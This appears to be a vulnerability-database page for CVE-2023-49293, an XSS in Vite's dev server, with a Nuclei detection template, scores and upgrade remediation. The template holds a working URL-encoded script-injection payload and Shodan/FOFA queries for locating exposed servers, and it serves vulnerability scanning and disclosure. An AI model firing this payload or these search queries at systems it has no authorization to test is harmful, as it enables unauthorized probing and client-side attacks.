Vite dev server - Cross-Site Scripting
CVE-2023-49293
Verified
Description
Vite's dev server, when used with `appType: 'custom'` and manually invoking `server.transformIndexHtml` using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script (`<script type="module">...</script>`), an attacker can inject a script via the URL, potentially leading to XSS in the browser. The vulnerability only affects certain custom SSR/dev configurations, not plain `vite dev`.
Severity
Medium
CVSS Score
6.1
Exploit Probability
8%
Published Date
March 26, 2026
Template Author
ritikchaddha
CVE-2023-49293.yaml
id: CVE-2023-49293
info:
name: Vite dev server - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Vite's dev server, when used with `appType: 'custom'` and manually invoking `server.transformIndexHtml` using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script (`<script type="module">...</script>`), an attacker can inject a script via the URL, potentially leading to XSS in the browser. The vulnerability only affects certain custom SSR/dev configurations, not plain `vite dev`.
impact: |
Attackers can inject malicious HTML into the page, potentially leading to cross-site scripting or other client-side attacks.
remediation: |
Update to vite@5.0.5, vite@4.5.1, or vite@4.4.12.
reference:
- https://github.com/vitejs/vite/security/advisories/GHSA-92r3-m2mg-pj97
- https://nvd.nist.gov/vuln/detail/CVE-2023-49293
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-49293
epss-score: 0.07848
epss-percentile: 0.92086
cwe-id: CWE-80
metadata:
max-request: 1
fofa-query: body="/@vite/client"
shodan-query: http.html:"/@vite/client"
tags: cve,cve2023,vite,xss
http:
- method: GET
path:
- "{{BaseURL}}/?%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E "
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'src="/@id/__x00__/?"></script><script>alert(document.domain)</script>'
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100acc6176566e559f6d246b94d88b8269a5400c56e7e90229acc0d1bd5aa6b73cb022100aae7ed07c2387411d3e1309b8ad669bbf2287217436b265adf10567184679660:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2023-49293
CWE ID:
cwe-80
Remediation Steps
Update to vite@5.0.5, vite@4.5.1, or vite@4.4.12.